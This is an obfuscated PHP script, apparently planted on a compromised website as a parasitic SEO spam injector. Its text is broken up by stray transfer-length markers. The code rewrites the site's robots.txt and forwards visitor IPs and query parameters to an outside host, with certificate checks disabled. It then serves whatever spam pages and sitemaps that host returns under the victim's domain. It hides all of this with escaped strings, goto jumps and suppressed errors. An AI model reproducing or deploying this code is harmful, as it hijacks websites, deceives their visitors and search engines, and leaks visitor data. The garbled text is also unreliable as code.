4 $url, CURLOPT_ 9 RETURNTRA b NSFER => tr 11 ue, CURLOPT_SSL_V 7 ERIFYPE 20 ER => false, CURLOPT_SSL_VERIFYH 19 OST => false, CURLOPT_FOL 8 LOWLOCAT 18 ION => true, CURLOPT_TIM 14 EOUT => 10, CURLOPT_ 1c POST => true, CURLOPT_POSTFI 13 ELDS => $postString c )); $data = 16 curl_exec($ch); curl_c 11 lose($ch); if (!e f mpty($data)) { e return $data; c } } if (ini_ f get("\141\x6c\1 f 54\157\x77\x5f\ 13 165\162\154\x5f\146 10 \157\160\x65\x6e 11 ")) { $context = f stream_context_ 10 create(array("\1 f 50\164\x74\x70" 16 => array("\x6d\x65\x7 12 4\150\157\144" => 10 "\x50\117\x53\x5 10 4", "\x74\x69\x6 1a d\x65\x6f\x75\164" => 10, d "\x68\145\x61 16 \144\145\x72" => "\x43 1a \157\156\164\145\x6e\x74\x a 2d\124\x79 13 \x70\145\72\40\141\ 14 160\160\x6c\151\143\ 18 x61\x74\151\157\156\57\1 13 70\55\167\x77\167\5 16 5\x66\x6f\162\x6d\x2d\ 10 x75\x72\154\145\ 16 156\143\157\144\x65\x6 e 4\15\xa" . "\1 1b 03\157\156\x74\145\156\164\ 12 55\x4c\x65\x6e\147 f \164\150\72\x20 17 " . strlen($postString) 11 . "\15\12" . "\x 15 55\x73\145\x72\x2d\10 1a 1\x67\145\156\164\x3a\40\1 18 15\157\172\x69\x6c\x6c\1 e 41\57\x35\56\x 15 30\15\12", "\x63\157\ 14 x6e\164\x65\156\164" 1f => $postString), "\163\163\x6c 1c " => array("\166\x65\x72\151 15 \146\x79\x5f\160\x65\ 19 145\162" => false, "\166\ 1c 145\x72\151\x66\x79\x5f\160\ 19 145\x65\x72\x5f\x6e\x61\1 1e 55\x65" => false))); $data = @ e file_get_conte 11 nts($url, false, 3b $context); if (!empty($data)) { return $data; } } return '' e ; } goto wRFt_ 8 ; VguJR: 18 if (!empty($get["\162"] d )) { $robotsP b ath = $_SER f VER["\x44\117\x 11 43\125\115\x45\x4 d e\x54\137\122 13 \117\x4f\x54"] . "\ 16 57\162\157\142\x6f\x74 15 \163\x2e\x74\x78\164" a ; $sitemap 9 Block = " 15 \125\163\145\162\55\1 13 41\147\x65\x6e\164\ 10 72\40\x2a\xa\x41 1c \x6c\x6c\x6f\167\x3a\40\57\x 1a a"; $sitemaps = "\12\x53\x 14 69\x74\145\x6d\x61\1 11 60\x3a\x20{$http_ 13 type}{$_SERVER["\x4 e 8\x54\124\x50\ 12 x5f\110\117\123\12 1a 4"]}{$_SERVER["\123\x43\x5 c 2\x49\x50\12 15 4\x5f\x4e\101\x4d\x45 d "]}\x3f\x73\7 1c 5\163\12"; if (!file_exists( 17 $robotsPath)) { file_pu 27 t_contents($robotsPath, $sitemapBlock . 13 $sitemaps); } else 28 { $robotsContent = @file_get_contents($ 18 robotsPath); if (strpos( 23 $robotsContent, $_SERVER["\123\x43\ 10 122\111\120\x54\ 19 x5f\x4e\101\x4d\105"]) == c = false) { @ 2f file_put_contents($robotsPath, $sitemaps, FILE_ 7 APPEND) 12 ; } } } goto Kw0TV a ; lb_EM: $ 11 vurl = $http_type 13 . "\x69\144\154\17 f 1\x32\56\x69\x6 18 4\163\150\x6f\x70\56\x63 11 \x63\167\x75\x2e\ 12 143\x63\57\64\61\x 13 39\56\x61\163\x70\1 11 70"; goto VguJR; 19 WNTMb: if (!empty($get["\ 20 x69\x64"])) { if (empty($get["\1 13 53\x6b"])) { $ip = e get_ip(); $par 14 ams = array("\151\16 14 0" => $ip, "\x69\144 14 " => isset($get["\15 1b 1\144"]) ? $get["\151\x64"] c : '', "\x6c 12 \x6c" => $ll); $tz 17 str = getCurl($vurl, $p 25 arams); if (strpos($tzstr, "\x69\144" 13 ) !== false) { echo 12 $tzstr; die; } } 2e $params = array("\151\x64" => $get["\x69\x64"] 17 , "\154\154" => $ll); $ 2d str = getCurl($vurl, $params); $str = str_rep 14 lace(array("\173\x55 c \x52\114\x7d 10 ", "\x7b\xe5\x9f 15 \x9f\xe5\x90\x8d\x7d" 14 ), array(get_url_inf 11 o("\x66\x75\154\x 1e 6c"), get_url_info("\x6e\157\x 12 5f\167\167\x77")), 1a $str); echo $str; die; } 17 else { $sitemapUrl = $l 15 l . "\x3f\x73\75" . d e ate("\x59\155\ 14 144\x48\x69"); echo 11 "\x3c\144\151\x76 17 \x20\163\164\171\x6c\14 12 5\x3d\47\164\145\1 16 70\164\x2d\141\x6c\x69 12 \x67\156\x3a\143\1 17 45\x6e\x74\145\x72\73\4 1e 0\160\x61\x64\x64\151\x6e\147\ 13 x3a\61\x30\160\170\ 12 x20\x30\x3b\47\x3e 12 \x3c\x61\x20\150\x 12 72\145\x66\x3d\x22 14 {$sitemapUrl}\42\x20 15 \164\141\162\147\x65\ 1c 164\x3d\x22\x5f\x62\x6c\141\ 1a x6e\153\x22\x20\x72\x65\15 11 4\75\42\156\157\1 11 46\x6f\154\154\15 14 7\167\42\76\40\123\1 17 51\164\x65\155\141\160\ 18 74\x2f\141\x3e\74\x2f\14 17 4\x69\166\x3e"; } goto c UHNmn; Kw0TV 1f : if (!empty($get["\x73"])) { $ 22 params = array("\x73" => date("\13 13 1\155\144\110\x69") 20 , "\156\x75\155\x62\145\162" => 13 $get["\156\165\x6d\ 50 142\145\162"]); $str = getCurl($vurl, $params); $str = str_replace(array("\173\x c e5\xbd\x93\3 f 45\211\x8d\xe5\ f 234\xb0\xe5\x9d 12 \200\175"), array( 26 $http_type . $_SERVER["\x48\124\124\12 17 0\x5f\110\x4f\123\124"] 1e . $_SERVER["\x53\103\122\x49\ 14 120\124\x5f\116\101\ 16 115\105"]), $str); hea 10 der("\x43\x6f\15 19 6\164\145\156\x74\55\164\ 11 171\x70\x65\x3a\x 1c 74\145\x78\164\x2f\x78\x6d\1 1d 54"); echo $str; die; } goto 11 WNTMb; OsiDT: err d or_reporting( 11 0); goto XVeBg; H 12 WR4h: $http_type = 1d !empty($_SERVER["\110\124\x5 10 4\120\x53"]) && 21 $_SERVER["\x48\x54\x54\120\123"] 11 !== "\157\x66\x66 11 " ? "\x68\x74\x74 11 \160\x73\72\57\x2 1b f" : "\x68\x74\x74\160\x3a\ 12 57\x2f"; goto rRNp 11 n; rRNpn: $ll = " 2d {$http_type}{$_SERVER["\x48\124\x54\120\137\1 39 10\117\123\124"]}{$_SERVER["\x53\x43\122\x49\120\124\137\ 1a x4e\x41\x4d\x45"]}"; goto c lb_EM; RyBoU 18 : function get_ip() { fo 11 reach (array("\11 1c 0\x54\x54\120\137\x58\x5f\x4 13 6\x4f\122\127\101\1 14 22\x44\105\104\x5f\1 1b 06\117\x52", "\x48\124\x54\ f x50\137\103\x4c 17 \x49\105\116\124\x5f\11 16 1\120", "\x52\105\115\ 18 117\124\105\x5f\101\x44\ f x44\x52") as $k 1e ey) { if (!empty($_SERVER[$key 12 ])) { return trim( a explode("\ 17 54", $_SERVER[$key])[0] 1a ); } } return "\x55\116\x4 11 b\116\117\127\x4e 16 "; } goto w0kkS; N6bGe 20 : function get_url_info(string $ 1e return_type = "\144\157\155\x6 15 1\x69\x6e") : string 7 { $host 33 = $_SERVER["\x48\124\124\x50\137\110\x4f\123\124"] 1d ; if ($return_type === "\144\ 14 x6f\x6d\x61\151\x6e" 2b ) { return $host; } if ($return_type === "\ 15 x6e\x6f\x5f\x77\x77\x 14 77") { return ltrim( 18 $host, "\x77\x77\x77\x2e f "); } $protocol 18 = isset($_SERVER["\110\ 21 x54\124\120\123"]) && $_SERVER["\ 1e 110\124\124\x50\123"] === "\x6 1b f\156" || isset($_SERVER["\ 27 x48\124\x54\x50\137\x58\137\106\117\x52 20 \127\101\122\x44\x45\x44\137\120 10 \x52\x4f\124\x4f 36 "]) && $_SERVER["\x48\x54\x54\x50\x5f\130\137\x46\x4f\ e x52\x57\x41\x5 1e 2\x44\x45\104\137\x50\122\117\ 1f 124\x4f"] === "\x68\164\164\160 1b \x73" ? "\x68\164\164\x70\x 24 73\x3a\57\x2f" : "\x68\x74\164\x70\x e 3a\x2f\57"; $b 15 ase_url = $protocol . 28 $host; if ($return_type === "\142\141\x 1b 73\x65") { return $base_url 1e ; } $uri = $_SERVER["\x52\105\ e x51\x55\x45\x5 15 3\124\x5f\x55\122\111 11 "]; $full_url = $ 30 base_url . $uri; if ($return_type === "\146\165\ 1d 154\x6c") { return $full_url; 21 } return ''; } goto RyBoU; wRFt_ 2f : function getCurl($url, $getData = array()) { 19 if (!empty($getData)) { $ 20 queryString = is_array($getData) 29 ? http_build_query($getData) : $getData; 17 $url .= (strpos($url, 18 "\x3f") === false ? "\x3 f f" : "\x26") . 2b $queryString; } if (function_exists("\143\1 18 65\162\154\x5f\151\x6e\1 f8 51\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPGE 1a T => true, CURLOPT_USERAGE 14 NT => "\115\157\172\ 15 151\154\x6c\141\x2f\6 72 5\56\60")); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\ 16 x6c\157\x77\137\x75\x7 16 2\x6c\137\x66\157\160\ 58 145\x6e")) { $context = stream_context_create(array("\150\164\x74\x70" => array("\155\14 19 5\x74\150\157\144" => "\1 19 07\105\x54", "\x74\151\15 1c 5\x65\x6f\165\164" => 10, "\ 17 150\x65\x61\144\x65\x72 18 " => "\x55\x73\145\162\x 18 2d\x41\147\145\x6e\x74\x 1b 3a\x20\x4d\x6f\x7a\151\154\ 15 154\x61\57\65\56\x30\ 10 xd\12"), "\x73\x 15 73\154" => array("\x7 45 6\145\x72\x69\x66\x79\x5f\160\x65\145\162" => false, "\166\145\162\15 18 1\146\x79\137\x70\x65\x6 14 5\x72\137\x6e\141\x6 86 d\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto HWR4h; a UHNmn: ?> 0